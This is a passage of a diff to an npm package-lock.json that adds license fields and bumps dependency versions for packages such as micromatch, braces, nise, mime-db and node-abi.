@@ -9601,16 +10692,18 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
       "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
     },
     "node_modules/micromatch": {
-      "version": "4.0.5",
-      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
-      "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
+      "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
+      "license": "MIT",
       "dependencies": {
-        "braces": "^3.0.2",
+        "braces": "^3.0.3",
         "picomatch": "^2.3.1"
       },
       "engines": {
@@ -9621,6 +10714,7 @@
       "version": "2.6.0",
       "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz",
       "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==",
+      "license": "MIT",
       "bin": {
         "mime": "cli.js"
       },
@@ -9629,9 +10723,10 @@
       }
     },
     "node_modules/mime-db": {
-      "version": "1.52.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
-      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+      "version": "1.54.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.54.0.tgz",
+      "integrity": "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==",
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -9640,6 +10735,7 @@
       "version": "2.1.35",
       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
       "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
+      "license": "MIT",
       "dependencies": {
         "mime-db": "1.52.0"
       },
@@ -9647,11 +10743,21 @@
         "node": ">= 0.6"
       }
     },
+    "node_modules/mime-types/node_modules/mime-db": {
+      "version": "1.52.0",
+      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
+      "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
     "node_modules/mimic-fn": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-3.1.0.tgz",
       "integrity": "sha512-Ysbi9uYW9hFyfrThdDEQuykN4Ey6BuwPD2kpI5ES/nFTDn/98yxYNLZJcgUAKPT/mcrLLKaGzJR9YVxJrIdASQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=8"
       }
@@ -9660,6 +10766,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
       "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -9669,6 +10776,7 @@
       "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
       "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -9677,6 +10785,7 @@
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
       "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^1.1.7"
       },
@@ -9689,6 +10798,7 @@
       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
       "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -9698,6 +10808,7 @@
       "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz",
       "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "arrify": "^1.0.1",
         "is-plain-obj": "^1.1.0",
@@ -9711,6 +10822,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
       "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==",
+      "license": "ISC",
       "engines": {
         "node": ">=8"
       }
@@ -9719,6 +10831,7 @@
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz",
       "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==",
+      "license": "MIT",
       "dependencies": {
         "minipass": "^3.0.0",
         "yallist": "^4.0.0"
@@ -9731,6 +10844,7 @@
       "version": "3.3.6",
       "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
       "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+      "license": "ISC",
       "dependencies": {
         "yallist": "^4.0.0"
       },
@@ -9742,6 +10856,7 @@
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz",
       "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==",
+      "license": "MIT",
       "bin": {
         "mkdirp": "bin/cmd.js"
       },
@@ -9753,13 +10868,15 @@
       "version": "0.5.3",
       "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
       "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/mocha": {
       "version": "9.2.2",
       "resolved": "https://registry.npmjs.org/mocha/-/mocha-9.2.2.tgz",
       "integrity": "sha512-L6XC3EdwT6YrIk0yXpavvLkn8h+EU+Y5UcCHKECyMbdUIxyMuZj4bX4U9e1nvnvUUvQVsV2VHQr5zLdcUkhW/g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@ungap/promise-all-settled": "1.1.2",
         "ansi-colors": "4.1.1",
@@ -9798,11 +10915,40 @@
         "url": "https://opencollective.com/mochajs"
       }
     },
+    "node_modules/mocha/node_modules/chokidar": {
+      "version": "3.5.3",
+      "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+      "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+      "dev": true,
+      "funding": [
+        {
+          "type": "individual",
+          "url": "https://paulmillr.com/funding/"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "anymatch": "~3.1.2",
+        "braces": "~3.0.2",
+        "glob-parent": "~5.1.2",
+        "is-binary-path": "~2.1.0",
+        "is-glob": "~4.0.1",
+        "normalize-path": "~3.0.0",
+        "readdirp": "~3.6.0"
+      },
+      "engines": {
+        "node": ">= 8.10.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.2"
+      }
+    },
     "node_modules/mocha/node_modules/debug": {
       "version": "4.3.3",
       "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.3.tgz",
       "integrity": "sha512-/zxw5+vh1Tfv+4Qn7a5nsbcJKPaSvCDhojn6FEl9vupwK2VCSDtEiEtqr8DFtzYFOdz63LBkxec7DYuc2jon6Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ms": "2.1.2"
       },
@@ -9819,13 +10965,16 @@
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
       "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/mocha/node_modules/glob": {
       "version": "7.2.0",
       "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz",
       "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==",
+      "deprecated": "Glob versions prior to v9 are no longer supported",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "fs.realpath": "^1.0.0",
         "inflight": "^1.0.4",
@@ -9846,6 +10995,7 @@
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
       "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^1.1.7"
       },
@@ -9858,6 +11008,7 @@
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-4.2.1.tgz",
       "integrity": "sha512-9Uq1ChtSZO+Mxa/CL1eGizn2vRn3MlLgzhT0Iz8zaY8NdvxvB0d5QdPFmCKf7JKA9Lerx5vRrnwO03jsSfGG9g==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^1.1.7"
       },
@@ -9870,6 +11021,7 @@
       "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
       "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "isexe": "^2.0.0"
       },
@@ -9885,6 +11037,7 @@
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz",
       "integrity": "sha512-WOkpgNhPTlE73h4VFAFsOnomJVaovO8VqLDzy5saChRBFQFBoMYirowyW+Q9HB4HFF4Z7VZTiG3iSzJJA29yRA==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": ">=10"
       }
@@ -9894,6 +11047,7 @@
       "resolved": "https://registry.npmjs.org/mock-require/-/mock-require-3.0.3.tgz",
       "integrity": "sha512-lLzfLHcyc10MKQnNUCv7dMcoY/2Qxd6wJfbqCcVk3LDb8An4hF6ohk5AztrvgKhJCqj36uyzi/p5se+tvyD+Wg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "get-caller-file": "^1.0.2",
         "normalize-path": "^2.1.1"
@@ -9907,6 +11061,7 @@
       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
       "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "remove-trailing-separator": "^1.0.1"
       },
@@ -9919,6 +11074,7 @@
       "resolved": "https://registry.npmjs.org/modify-values/-/modify-values-1.0.1.tgz",
       "integrity": "sha512-xV2bxeN6F7oYjZWTe/YPAy6MN2M+sL4u/Rlm2AHCIVGfo2p1yGmBHQ6vHehl4bRTZBdHu3TSkWdYgkwpYzAGSw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9927,12 +11083,14 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/module-not-found-error/-/module-not-found-error-1.0.1.tgz",
       "integrity": "sha512-pEk4ECWQXV6z2zjhRZUongnLJNUeGQJ3w6OQ5ctGwD+i5o93qjRQUk2Rt6VdNeu3sEP0AB4LcfvdebpxBRVr4g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/ms": {
       "version": "2.1.3",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
-      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "license": "MIT"
     },
     "node_modules/multistream": {
       "version": "4.1.0",
@@ -9953,6 +11111,7 @@
           "url": "https://feross.org/support"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "once": "^1.4.0",
         "readable-stream": "^3.6.0"
@@ -9961,13 +11120,15 @@
     "node_modules/mute-stream": {
       "version": "0.0.8",
       "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
-      "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA=="
+      "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==",
+      "license": "ISC"
     },
     "node_modules/nanoid": {
       "version": "3.3.1",
       "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.1.tgz",
       "integrity": "sha512-n6Vs/3KGyxPQd6uO0eH4Bv0ojGSUvuLlIHtC3Y0kEO23YRge8H9x1GCzLn28YX0H66pMkxuaeESFq4tKISKwdw==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "nanoid": "bin/nanoid.cjs"
       },
@@ -9979,23 +11140,27 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz",
       "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/native-promise-only": {
       "version": "0.8.1",
       "resolved": "https://registry.npmjs.org/native-promise-only/-/native-promise-only-0.8.1.tgz",
-      "integrity": "sha512-zkVhZUA3y8mbz652WrL5x0fB0ehrBkulWT3TomAQ9iDtyXZvzKeEA6GPxAItBYeNYl5yngKRX612qHOhvMkDeg=="
+      "integrity": "sha512-zkVhZUA3y8mbz652WrL5x0fB0ehrBkulWT3TomAQ9iDtyXZvzKeEA6GPxAItBYeNYl5yngKRX612qHOhvMkDeg==",
+      "license": "MIT"
     },
     "node_modules/natural-compare": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
       "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/ncjsm": {
       "version": "4.3.2",
       "resolved": "https://registry.npmjs.org/ncjsm/-/ncjsm-4.3.2.tgz",
       "integrity": "sha512-6d1VWA7FY31CpI4Ki97Fpm36jfURkVbpktizp8aoVViTZRQgr/0ddmlKerALSSlzfwQRBeSq1qwwVcBJK4Sk7Q==",
+      "license": "ISC",
       "dependencies": {
         "builtin-modules": "^3.3.0",
         "deferred": "^0.7.11",
@@ -10011,63 +11176,71 @@
       "version": "2.6.2",
       "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz",
       "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/next-tick": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
-      "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ=="
+      "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==",
+      "license": "ISC"
     },
     "node_modules/nice-try": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
-      "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ=="
+      "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==",
+      "license": "MIT"
     },
     "node_modules/nise": {
-      "version": "5.1.5",
-      "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.5.tgz",
-      "integrity": "sha512-VJuPIfUFaXNRzETTQEEItTOP8Y171ijr+JLq42wHes3DiryR8vT+1TXQW/Rx8JNUhyYYWyIvjXTU6dOhJcs9Nw==",
+      "version": "5.1.9",
+      "resolved": "https://registry.npmjs.org/nise/-/nise-5.1.9.tgz",
+      "integrity": "sha512-qOnoujW4SV6e40dYxJOb3uvuoPHtmLzIk4TFo+j0jPJoC+5Z9xja5qH5JZobEPsa8+YYphMrOSwnrshEhG2qww==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
-        "@sinonjs/commons": "^2.0.0",
-        "@sinonjs/fake-timers": "^10.0.2",
-        "@sinonjs/text-encoding": "^0.7.1",
-        "just-extend": "^4.0.2",
-        "path-to-regexp": "^1.7.0"
+        "@sinonjs/commons": "^3.0.0",
+        "@sinonjs/fake-timers": "^11.2.2",
+        "@sinonjs/text-encoding": "^0.7.2",
+        "just-extend": "^6.2.0",
+        "path-to-regexp": "^6.2.1"
       }
     },
     "node_modules/nise/node_modules/@sinonjs/commons": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz",
-      "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==",
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz",
+      "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "type-detect": "4.0.8"
       }
     },
     "node_modules/nise/node_modules/@sinonjs/fake-timers": {
-      "version": "10.3.0",
-      "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.3.0.tgz",
-      "integrity": "sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==",
+      "version": "11.3.1",
+      "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-11.3.1.tgz",
+      "integrity": "sha512-EVJO7nW5M/F5Tur0Rf2z/QoMo+1Ia963RiMtapiQrEWvY0iBUvADo8Beegwjpnle5BHkyHuoxSTW3jF43H1XRA==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
-        "@sinonjs/commons": "^3.0.0"
+        "@sinonjs/commons": "^3.0.1"
       }
     },
-    "node_modules/nise/node_modules/@sinonjs/fake-timers/node_modules/@sinonjs/commons": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.0.tgz",
-      "integrity": "sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA==",
+    "node_modules/nise/node_modules/type-detect": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
+      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==",
       "dev": true,
-      "dependencies": {
-        "type-detect": "4.0.8"
+      "license": "MIT",
+      "engines": {
+        "node": ">=4"
       }
     },
     "node_modules/node-abi": {
-      "version": "3.51.0",
-      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.51.0.tgz",
-      "integrity": "sha512-SQkEP4hmNWjlniS5zdnfIXTk1x7Ome85RDzHlTbBtzE97Gfwz/Ipw4v/Ryk20DWIy3yCNVLVlGKApCnmvYoJbA==",
+      "version": "3.75.0",
+      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.75.0.tgz",
+      "integrity": "sha512-OhYaY5sDsIka7H7AtijtI9jwGYLyl29eQn/W623DiN/MIv5sUqc4g7BIDThX+gb7di9f6xK02nkp8sdfFWZLTg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "semver": "^7.3.5"
       },
@@ -10079,6 +11252,7 @@
       "version": "0.1.17",
       "resolved": "https://registry.npmjs.org/node-dir/-/node-dir-0.1.17.tgz",
       "integrity": "sha512-tmPX422rYgofd4epzrNoOXiE8XFZYOcCq1vD7MAXCDO+O+zndlA2ztdKKMa+EeuBG5tHETpr4ml4RGgpqDCCAg==",
+      "license": "MIT",
       "dependencies": {
         "minimatch": "^3.0.2"
       },
@@ -10090,6 +11264,7 @@
       "version": "2.7.0",
       "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz",
       "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==",
+      "license": "MIT",
       "dependencies": {
         "whatwg-url": "^5.0.0"
       },
@@ -10110,6 +11285,7 @@
       "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz",
       "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "process-on-spawn": "^1.0.0"
       },
@@ -10118,16 +11294,18 @@
       }
     },
     "node_modules/node-releases": {
-      "version": "2.0.13",
-      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz",
-      "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==",
-      "dev": true
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz",
+      "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/normalize-package-data": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz",
       "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==",
       "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
         "hosted-git-info": "^4.0.1",
         "is-core-module": "^2.5.0",
@@ -10142,6 +11320,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
       "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -10150,6 +11329,7 @@
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz",
       "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==",
+      "license": "MIT",
       "engines": {
         "node": ">=10"
       },
@@ -10161,6 +11341,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/npm-registry-utilities/-/npm-registry-utilities-1.0.0.tgz",
       "integrity": "sha512-9xYfSJy2IFQw1i6462EJzjChL9e65EfSo2Cw6kl0EFeDp05VvU+anrQk3Fc0d1MbVCq7rWIxeer89O9SUQ/uOg==",
+      "license": "ISC",
       "dependencies": {
         "ext": "^1.6.0",
         "fs2": "^0.3.9",
@@ -10175,10 +11356,11 @@
       }
     },
     "node_modules/npm-run-path": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.1.0.tgz",
-      "integrity": "sha512-sJOdmRGrY2sjNTRMbSvluQqg+8X7ZK61yvzBEIDhz4f8z1TZFYABsqjjCBd/0PUNE9M6QDgHJXQkGUEm7Q+l9Q==",
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-5.3.0.tgz",
+      "integrity": "sha512-ppwTtiJZq0O/ai0z7yfudtBpWIoxM8yE6nHi1X47eFR2EWORqfbu6CnPlNsjeN683eT0qG6H/Pyf9fCcvjnnnQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-key": "^4.0.0"
       },
@@ -10194,6 +11376,7 @@
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-4.0.0.tgz",
       "integrity": "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=12"
       },
@@ -10206,6 +11389,7 @@
       "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz",
       "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "@istanbuljs/load-nyc-config": "^1.0.0",
         "@istanbuljs/schema": "^0.1.2",
@@ -10247,6 +11431,7 @@
       "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz",
       "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "string-width": "^4.2.0",
         "strip-ansi": "^6.0.0",
@@ -10258,6 +11443,7 @@
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
       "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^5.0.0",
         "path-exists": "^4.0.0"
@@ -10271,6 +11457,7 @@
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
